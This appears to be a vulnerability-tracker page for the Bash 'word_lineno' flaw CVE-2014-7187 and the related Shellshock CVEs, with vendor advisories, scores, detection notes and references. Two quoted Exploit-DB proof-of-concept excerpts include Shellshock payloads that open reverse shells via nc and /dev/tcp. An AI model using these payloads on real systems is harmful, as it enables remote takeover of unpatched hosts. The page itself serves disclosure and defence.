CVE-2014-7187
published 2014-09-28CVE-2014-7187: Off-by-one error in the read_token_word function in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service…
PriorityP271critical10CVSS 2.0
AVNACLAuNCCICAC
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
58.46%
99.0th percentile
Off-by-one error in the read_token_word function in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service (out-of-bounds array access and application crash) or possibly have unspecified other impact via deeply nested for loops, aka the "word_lineno" issue.
Affected
50 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | os_x_el_capitan_v10.11 | — | — |
| apple | os_x_yosemite_v10.10.2_and_security_update_2015-001 | — | — |
| citrix | citrix_netscaler_adc | — | — |
| citrix | citrix_netscaler_sdx | — | — |
| citrix | citrix_xenapp | — | — |
| citrix | citrix_xendesktop | — | — |
| citrix | citrix_xenmobile | — | — |
| citrix | citrix_xenserver | — | — |
| citrix | netscaler_adc | — | — |
| citrix | netscaler_gateway | — | — |
| citrix | netscaler_sdx | — | — |
| citrix | sharefile | — | — |
| citrix | xenapp | — | — |
| citrix | xendesktop | — | — |
| citrix | xenmobile | — | — |
| citrix | xenserver | — | — |
| debian | bash | < bash 4.3-9.2 (bookworm) | bash 4.3-9.2 (bookworm) |
| gnu | bash | — | — |
| gnu | bash | — | — |
| gnu | bash | — | — |
| gnu | bash | — | — |
| gnu | bash | — | — |
| gnu | bash | — | — |
| gnu | bash | — | — |
| gnu | bash | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Shellshock payload pattern: environment variable values beginning with '() { ignored;};' followed by a command — injected via DHCP option fields (e.g., dump_path) to exploit dhclient invoking Bash. ↗
- →CVE-2014-7187 ('word_lineno' issue) is triggered via deeply nested for loops in Bash causing an off-by-one out-of-bounds array access; look for processes spawning Bash with deeply nested flow control constructs. ↗
- →Bash may be invoked by telnet, SSH, DHCP, and web server scripts — monitor all such entry points for Shellshock-style '() {' environment variable injection patterns. ↗
- ·Red Hat Product Security assessed this CVE as having no security impact on bash packages shipped in RHEL; the fix was applied as a hardening measure rather than a security patch. ↗
- ·The PoC exploit code references multiple Shellshock CVEs (CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187); IOCs extracted are shared across these CVEs and are not exclusive to CVE-2014-7187. ↗
CVSS provenance
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv10.0CRITICAL
vulncheck10.0CRITICAL
cisa8.8HIGH
vendor_debian10.0CRITICAL
vendor_redhat10.0CRITICAL
vendor_ubuntu10.0CRITICAL
vendor_cisco7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA
GNU Bash OS Command Injection Vulnerability
cisa·2025-10-02·CVSS 8.8
CVE-2014-6278 [HIGH] CWE-78 GNU Bash OS Command Injection Vulnerability
Vulnerability: GNU Bash OS Command Injection Vulnerability
Affected: GNU GNU Bash
GNU Bash contains an OS command injection vulnerability which allows remote attackers to execute arbitrary commands via a crafted environment.
Required Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Notes: This vulnerability could affect an open-source component, third-party library, protocol, or proprietary implementation that could be used by different products. For more information, please see: http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-027 ; https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23467 ; https://sec.clo
VMware
VMware product updates address critical Bash security vulnerabilities
vendor_vmware·2014-09-30·CVSS 9.8
CVE-2014-6271 [CRITICAL] VMware product updates address critical Bash security vulnerabilities
VMSA-2014-0010: VMware product updates address critical Bash security vulnerabilities
a. Bash update for multiple products. Bash libraries have been updated in multiple products to resolve multiple critical security issues, also referred to as Shellshock. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the identifiers CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, and CVE-2014-7187, CVE-2014-6277, CVE-2014-6278 to these issues. VMware products have been grouped into the following four product categories: I) ESXi and ESX Hypervisor ESXi is not affected because ESXi uses the Ash shell (through busybox), which is not affected by the vulnerability reported for the Bash shell. ESX has an affected version of the Bash shell. See table 1 for remediation for ESX. II) Wi
Ubuntu
Bash vulnerabilities
vendor_ubuntu·2014-09-27·CVSS 10.0
CVE-2014-7186 [CRITICAL] Bash vulnerabilities
Title: Bash vulnerabilities
Summary: Several security issues were fixed in Bash.
Florian Weimer and Todd Sabin discovered that the Bash parser incorrectly
handled memory. An attacker could possibly use this issue to bypass certain
environment restrictions and execute arbitrary code. (CVE-2014-7186,
CVE-2014-7187)
In addition, this update introduces a hardening measure which adds prefixes
and suffixes around environment variable names which contain shell
functions.
Instructions: In general, a standard system update will make all the necessary changes.
Red Hat
bash: off-by-one error in deeply nested flow control constructs
vendor_redhat·2014-09-26·CVSS 10.0
CVE-2014-7187 [CRITICAL] CWE-193 bash: off-by-one error in deeply nested flow control constructs
bash: off-by-one error in deeply nested flow control constructs
Off-by-one error in the read_token_word function in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service (out-of-bounds array access and application crash) or possibly have unspecified other impact via deeply nested for loops, aka the "word_lineno" issue.
An off-by-one error was discovered in the way Bash was handling deeply nested flow control constructs. Depending on the layout of the .bss segment, this could allow arbitrary execution of code that would not otherwise be executed by Bash.
Statement: Red Hat Product Security does not consider this bug to have any security impact on the bash packages shipped in Red Hat Enterprise Linux. A fix for this issue was applied as a hardenin
Cisco
GNU Bash Environment Variable Command Injection Vulnerability
vendor_cisco·2014-09-26·CVSS 7.5
CVE-2014-6271 [HIGH] GNU Bash Environment Variable Command Injection Vulnerability
GNU Bash Environment Variable Command Injection Vulnerability
On September 24, 2014, a vulnerability in the Bash shell was publicly announced. The vulnerability is related to the way in which shell functions are passed though environment variables. The vulnerability may allow an attacker to inject commands into a Bash shell, depending on how the shell is invoked. The Bash shell may be invoked by a number of processes including, but not limited to, telnet, SSH, DHCP, and scripts hosted on web servers.
All versions of GNU Bash starting with version 1.14 are affected by this vulnerability and the specific impact is determined by the characteristics of the process using the Bash shell. In the worst case, an unauthenticated remote attacker would be able to execute commands on an affected serve
Debian
CVE-2014-7187: bash - Off-by-one error in the read_token_word function in parse.y in GNU Bash through ...
vendor_debian·2014·CVSS 10.0
CVE-2014-7187 [CRITICAL] CVE-2014-7187: bash - Off-by-one error in the read_token_word function in parse.y in GNU Bash through ...
Off-by-one error in the read_token_word function in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service (out-of-bounds array access and application crash) or possibly have unspecified other impact via deeply nested for loops, aka the "word_lineno" issue.
Scope: local
bookworm: resolved (fixed in 4.3-9.2)
bullseye: resolved (fixed in 4.3-9.2)
forky: resolved (fixed in 4.3-9.2)
sid: resolved (fixed in 4.3-9.2)
trixie: resolved (fixed in 4.3-9.2)
Cisco
GNU Bash Environment Variable Command Injection Vulnerability
vendor_cisco
CVE-2014-7187 GNU Bash Environment Variable Command Injection Vulnerability
CVE-2014-7187: GNU Bash Environment Variable Command Injection Vulnerability
On September 24, 2014, a vulnerability in the Bash shell was publicly announced. The vulnerability is related to the way in which shell functions are passed though environment variables. The vulnerability may allow an attacker to inject commands into a Bash shell, depending on how the shell is invoked. The Bash shell may be invoked by a number of processes including, but not limited to, telnet, SSH, DHCP, and scripts hosted on web servers. All versions of GNU Bash starting with version 1.14 are affected by this vulnerability and the specific impact is determined by the characteristics of the process using the Bash shell. In the worst case, an unauthenticated remote attacker would be able to execute commands on an
Citrix
Citrix Security Advisory for GNU Bash Shellshock Vulnerabilities
vendor_citrix·CVSS 9.8
CVE-2014-6271 [CRITICAL] Citrix Security Advisory for GNU Bash Shellshock Vulnerabilities
Citrix Security Advisory for GNU Bash Shellshock Vulnerabilities
of Problem Citrix is aware of recent vulnerability reports that impact GNU Bash and is actively investigating the potential impact of these issues on Citrix products. There are a number of CVEs related to this issue, the current set includes: CVE-2014-6271 CVE-2014-6277 CVE-2014-6278 CVE-2014-7169 CVE-2014-7186 CVE-2014-7187 The following sections provide some initial guidance to customers on the potential impact of this issue. Please note that this issue is under active analysis and, as such, customers should check back frequently to get the current status of our response. Citrix XenApp & XenDesktop Most XenApp and XenDesktop components are Windows-based and, as such, are not affected by this vulnerability. Citrix recommend
Apple
CVE-2014-7187: OS X Yosemite v10.10.2 and Security Update 2015-001
vendor_apple·CVSS 10.0
CVE-2014-7187 [CRITICAL] CVE-2014-7187: OS X Yosemite v10.10.2 and Security Update 2015-001
Apple Security Update: About the security content of OS X Yosemite v10.10.2 and Security Update 2015-001
Product: OS X Yosemite v10.10.2 and Security Update 2015-001
CVE: CVE-2014-7187
Component: CVE-2014-7187
Apple
CVE-2014-7187: OS X El Capitan v10.11
vendor_apple·CVSS 10.0
CVE-2014-7187 [CRITICAL] CVE-2014-7187: OS X El Capitan v10.11
Apple Security Update: About the security content of OS X El Capitan v10.11
Product: OS X El Capitan v10.11
CVE: CVE-2014-7187
Component: CVE-2014-7187
GHSA
GHSA-8m22-gm6f-5487: Off-by-one error in the read_token_word function in parse
ghsa_unreviewed·2022-05-14
CVE-2014-7187 [HIGH] CWE-119 GHSA-8m22-gm6f-5487: Off-by-one error in the read_token_word function in parse
Off-by-one error in the read_token_word function in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service (out-of-bounds array access and application crash) or possibly have unspecified other impact via deeply nested for loops, aka the "word_lineno" issue.
OSV
CVE-2014-7187: Off-by-one error in the read_token_word function in parse
osv·2014-09-28·CVSS 10.0
CVE-2014-7187 [CRITICAL] CVE-2014-7187: Off-by-one error in the read_token_word function in parse
Off-by-one error in the read_token_word function in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service (out-of-bounds array access and application crash) or possibly have unspecified other impact via deeply nested for loops, aka the "word_lineno" issue.
OSV
bash vulnerabilities
osv·2014-09-27·CVSS 10.0
CVE-2014-7186 [CRITICAL] bash vulnerabilities
bash vulnerabilities
Florian Weimer and Todd Sabin discovered that the Bash parser incorrectly
handled memory. An attacker could possibly use this issue to bypass certain
environment restrictions and execute arbitrary code. (CVE-2014-7186,
CVE-2014-7187)
In addition, this update introduces a hardening measure which adds prefixes
and suffixes around environment variable names which contain shell
functions.
VulnCheck
GNU Bourne-Again Shell (Bash) Improper Restriction of Operations within the Bounds of a Memory Buffer
vulncheck·2014·CVSS 10.0
CVE-2014-7187 [CRITICAL] GNU Bourne-Again Shell (Bash) Improper Restriction of Operations within the Bounds of a Memory Buffer
GNU Bourne-Again Shell (Bash) Improper Restriction of Operations within the Bounds of a Memory Buffer
Off-by-one error in the read_token_word function in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service (out-of-bounds array access and application crash) or possibly have unspecified other impact via deeply nested for loops, aka the "word_lineno" issue.
Affected: GNU Bourne-Again Shell (Bash)
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://www.virusbulletin.com/virusbulletin/2018/03/vb2017-paper-router-all-evil-more-just-default-passwords-and-silly-scripts/
No detection rules found.
Exploit-DB
GNU bash 4.3.11 - Environment Variable dhclient
exploitdb·2014-10-02·CVSS 10.0
CVE-2014-7910 [CRITICAL] GNU bash 4.3.11 - Environment Variable dhclient
GNU bash 4.3.11 - Environment Variable dhclient
---
#!/usr/bin/python
# Exploit Title: dhclient shellshocker
# Google Dork: n/a
# Date: 10/1/14
# Exploit Author: @0x00string
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
# Version: 4.3.11
# Tested on: Ubuntu 14.04.1
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
# ______ ______ ______ _
# / __ | / __ |/ __ | _ (_)
#| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___
#| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___)
#| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ |
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/
# (_____|
# _ _ _ _
# | | | | (_) _
# _ | | | _ ____| |_ ____ ____ | |_
# / || | || \ / ___) | |/ _ ) _ \|
Exploit-DB
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)
exploitdb·2014-09-29·CVSS 10.0
CVE-2014-7187 [CRITICAL] dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)
---
#!/usr/bin/python
# Exploit Title: ShellShock dhclient Bash Environment Variable Command Injection PoC
# Date: 2014-09-29
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 4.1
# Tested on: Debian, Ubuntu, Kali
# CVE: CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187
from scapy.all import *
conf.checkIPaddr = False
fam,hw = get_if_raw_hwaddr(conf.iface)
victim_assign_ip = "10.0.1.100"
server_ip = "10.0.1.2"
gateway_ip = "10.0.1.2"
subnet_mask = "255.255.255.0"
dns_ip = "8.8.8.8"
spoofed_mac = "00:50:56:c0:00:01"
payload = "() { ignored;}; echo 'moo'"
payload_2 = "() { ignored;}; /bin/nc -e /bin/bash localhost 7777"
payload_3 = "() { ignored;}; /bin/bash -i >& /dev/tcp/10.0.1.1/4
Bugzilla
CVE-2014-6277 bash: uninitialized here document closing delimiter pointer use
bugzilla·2014-09-28·CVSS 9.8
CVE-2014-6277 [CRITICAL] CVE-2014-6277 bash: uninitialized here document closing delimiter pointer use
CVE-2014-6277 bash: uninitialized here document closing delimiter pointer use
Common Vulnerabilities and Exposures assigned an identifier CVE-2014-6277 to
the following vulnerability:
Name: CVE-2014-6277
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6277
Assigned: 20140909
Reference: http://lcamtuf.blogspot.com/2014/09/bash-bug-apply-unofficial-patch-now.html
GNU Bash through 4.3 bash43-026 does not properly parse function
definitions in the values of environment variables, which allows
remote attackers to execute arbitrary code or cause a denial of
service (uninitialized memory access, and untrusted-pointer read and
write operations) via a crafted environment, as demonstrated by
vectors involving the ForceCommand feature in OpenSSH sshd, the
mod_cgi and mod_cgid modules i
Bugzilla
CVE-2014-7187 bash: off-by-one error in deeply nested flow control constructs
bugzilla·2014-09-26·CVSS 10.0
CVE-2014-7187 [CRITICAL] CVE-2014-7187 bash: off-by-one error in deeply nested flow control constructs
CVE-2014-7187 bash: off-by-one error in deeply nested flow control constructs
IssueDescription:
An off-by-one error was discovered in the way Bash was handling deeply nested flow control constructs. Depending on the layout of the .bss segment, this could allow arbitrary execution of code that would not otherwise be executed by Bash.
Discussion:
The concrete .bss segment layout generated by GCC and the linker only allows overwriting a variable whose contents is already controlled by the attacker. This has no security impact on the bash packages shipped in Red Hat Enterprise Linux.
---
Acknowledgements:
This issue was discovered by Florian Weimer of Red Hat Product Security.
---
Patch for this and the CVE-2014-7186 issue is attached in bug 1146791 comment 3 as attachment 942613.
--
Bugzilla
CVE-2014-7186 bash: parser can allow out-of-bounds memory access while handling redir_stack
bugzilla·2014-09-26·CVSS 9.8
CVE-2014-7186 [CRITICAL] CVE-2014-7186 bash: parser can allow out-of-bounds memory access while handling redir_stack
CVE-2014-7186 bash: parser can allow out-of-bounds memory access while handling redir_stack
IssueDescription:
It was discovered that the fixed-sized redir_stack could be forced to overflow in the Bash parser, resulting in memory corruption, and possibly leading to arbitrary code execution when evaluating untrusted input that would not otherwise be run as code.
Discussion:
Acknowledgements:
This issue was discovered by Florian Weimer of Red Hat Product Security.
---
Created attachment 942613
Patch for CVE-2014-7186 and CVE-2014-7187
Patch for CVE-2014-7186 and CVE-2014-7187 that was applied to bash 4.3 packages in Fedora.
Source:
http://pkgs.fedoraproject.org/cgit/bash.git/tree/bash-4.2-cve-2014-7169-2.patch
(Note that patch file name incorrectly mentions CVE-2014-7169.)
The firs
Bugzilla
CVE-2014-7169 bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
bugzilla·2014-09-25·CVSS 9.8
CVE-2014-7169 [CRITICAL] CVE-2014-7169 bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
CVE-2014-7169 bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
It was found the patch applied to fix CVE-2014-6271 was incomplete and could still allow some characters to be injected into another environment. An attacker could use this flaw to bypass some security restrictions, such as access files which he previously does not have access to etc (Standard file system permissions and selinux if enabled prevail though). There is no proof that this flaw could be used to execute arbitrary code, if it does it should be very difficult to exploit and depend on the specific configuration of the service.
Reference:
http://www.openwall.com/lists/oss-security/2014/09/24/40
https://bugzilla.redhat.com/show_bug.cgi?id=1141597#c23
Discussion:
Created bash tr
Bugzilla
CVE-2014-6271 bash: specially-crafted environment variables can be used to inject shell commands
bugzilla·2014-09-15·CVSS 9.8
CVE-2014-6271 [CRITICAL] CVE-2014-6271 bash: specially-crafted environment variables can be used to inject shell commands
CVE-2014-6271 bash: specially-crafted environment variables can be used to inject shell commands
A flaw was found in the bash functionality that evaluates specially formatted environment variables passed to it from another environment.
An attacker could use this feature to override or bypass restrictions to the environment to execute shell commands before restrictions have been applied. Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue.
Acknowledgements:
Red Hat would like to thank Stephane Chazelas for reporting this issue.
Discussion:
Created attachment 937490
Proposed upstream patch
---
Created attachment 938968
funcdef-import-3.0.patch
Upstream backport to bash 3.0
---
Created attachm
arXiv
Tiresias: Predicting Security Events Through Deep Learning
arxiv_fulltext·2019-05-24
Tiresias: Predicting Security Events Through Deep Learning
et al.
e.g.,
i.e.,
10.1145/3243734.3243811
2018
2018
acmlicensed
[CCS '18]2018 ACM SIGSAC Conference on Computer and Communications SecurityOctober 15--19, 2018Toronto, ON, Canada
2018 ACM SIGSAC Conference on Computer and Communications Security (CCS '18), October 15--19, 2018, Toronto, ON, Canada
15.00
: Predicting Security Events Through Deep Learning
Yun Shen^ , Enrico Mariconti^ , Pierre-Antoine Vervier^ , and Gianluca Stringhini^
^ Symantec Research Labs, ^ University College London, ^ Boston University
\yun_shen,pierre-antoine_vervier\@symantec.com, [email protected], [email protected]
## Abstract
With the increased complexity of modern computer attacks, there is a need for defenders not only to detect malicious activity as it happens, but also to predict the specific steps tha
http://jvn.jp/en/jp/JVN55667175/index.htmlhttp://jvndb.jvn.jp/jvndb/JVNDB-2014-000126http://lists.apple.com/archives/security-announce/2015/Jan/msg00003.htmlhttp://lists.apple.com/archives/security-announce/2015/Sep/msg00008.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00038.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00041.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00042.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00044.htmlhttp://lists.opensuse.org/opensuse-security-announce/2014-09/msg00048.htmlhttp://lists.opensuse.org/opensuse-updates/2014-10/msg00023.htmlhttp://lists.opensuse.org/opensuse-updates/2014-10/msg00025.htmlhttp://marc.info/?l=bugtraq&m=141330468527613&w=2http://marc.info/?l=bugtraq&m=141345648114150&w=2http://marc.info/?l=bugtraq&m=141383026420882&w=2http://marc.info/?l=bugtraq&m=141383081521087&w=2http://marc.info/?l=bugtraq&m=141383138121313&w=2http://marc.info/?l=bugtraq&m=141383196021590&w=2http://marc.info/?l=bugtraq&m=141383244821813&w=2http://marc.info/?l=bugtraq&m=141383304022067&w=2http://marc.info/?l=bugtraq&m=141450491804793&w=2http://marc.info/?l=bugtraq&m=141576728022234&w=2http://marc.info/?l=bugtraq&m=141577137423233&w=2http://marc.info/?l=bugtraq&m=141577241923505&w=2http://marc.info/?l=bugtraq&m=141577297623641&w=2http://marc.info/?l=bugtraq&m=141585637922673&w=2http://marc.info/?l=bugtraq&m=141694386919794&w=2http://marc.info/?l=bugtraq&m=141879528318582&w=2http://marc.info/?l=bugtraq&m=142118135300698&w=2http://marc.info/?l=bugtraq&m=142289270617409&w=2http://marc.info/?l=bugtraq&m=142358026505815&w=2http://marc.info/?l=bugtraq&m=142358078406056&w=2http://marc.info/?l=bugtraq&m=142721162228379&w=2http://openwall.com/lists/oss-security/2014/09/25/32http://openwall.com/lists/oss-security/2014/09/26/2http://openwall.com/lists/oss-security/2014/09/28/10http://packetstormsecurity.com/files/128517/VMware-Security-Advisory-2014-0010.htmlhttp://packetstormsecurity.com/files/128567/CA-Technologies-GNU-Bash-Shellshock.htmlhttp://rhn.redhat.com/errata/RHSA-2014-1311.htmlhttp://rhn.redhat.com/errata/RHSA-2014-1312.htmlhttp://rhn.redhat.com/errata/RHSA-2014-1354.htmlhttp://seclists.org/fulldisclosure/2014/Oct/0http://secunia.com/advisories/58200http://secunia.com/advisories/59907http://secunia.com/advisories/60024http://secunia.com/advisories/60034http://secunia.com/advisories/60044http://secunia.com/advisories/60055http://secunia.com/advisories/60063http://secunia.com/advisories/60193http://secunia.com/advisories/60433http://secunia.com/advisories/61065http://secunia.com/advisories/61128http://secunia.com/advisories/61129http://secunia.com/advisories/61188http://secunia.com/advisories/61283http://secunia.com/advisories/61287http://secunia.com/advisories/61291http://secunia.com/advisories/61312http://secunia.com/advisories/61313http://secunia.com/advisories/61328http://secunia.com/advisories/61442http://secunia.com/advisories/61479http://secunia.com/advisories/61485http://secunia.com/advisories/61503http://secunia.com/advisories/61550http://secunia.com/advisories/61552http://secunia.com/advisories/61565http://secunia.com/advisories/61603http://secunia.com/advisories/61618http://secunia.com/advisories/61622http://secunia.com/advisories/61633http://secunia.com/advisories/61636http://secunia.com/advisories/61641http://secunia.com/advisories/61643http://secunia.com/advisories/61654http://secunia.com/advisories/61703http://secunia.com/advisories/61816http://secunia.com/advisories/61855http://secunia.com/advisories/61857http://secunia.com/advisories/61873http://secunia.com/advisories/62312http://secunia.com/advisories/62343http://support.apple.com/HT204244http://support.novell.com/security/cve/CVE-2014-7187.htmlhttp://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bashhttp://www-01.ibm.com/support/docview.wss?uid=isg3T1021272http://www-01.ibm.com/support/docview.wss?uid=isg3T1021279http://www-01.ibm.com/support/docview.wss?uid=isg3T1021361http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004879http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004897http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004898http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004915http://www-01.ibm.com/support/docview.wss?uid=swg21685604http://www-01.ibm.com/support/docview.wss?uid=swg21685733http://www-01.ibm.com/support/docview.wss?uid=swg21685749http://www-01.ibm.com/support/docview.wss?uid=swg21685914http://www-01.ibm.com/support/docview.wss?uid=swg21686084http://www-01.ibm.com/support/docview.wss?uid=swg21686131http://www-01.ibm.com/support/docview.wss?uid=swg21686246http://www-01.ibm.com/support/docview.wss?uid=swg21686445
+ 146 more references
2014-09-28
Published
Exploited in the wild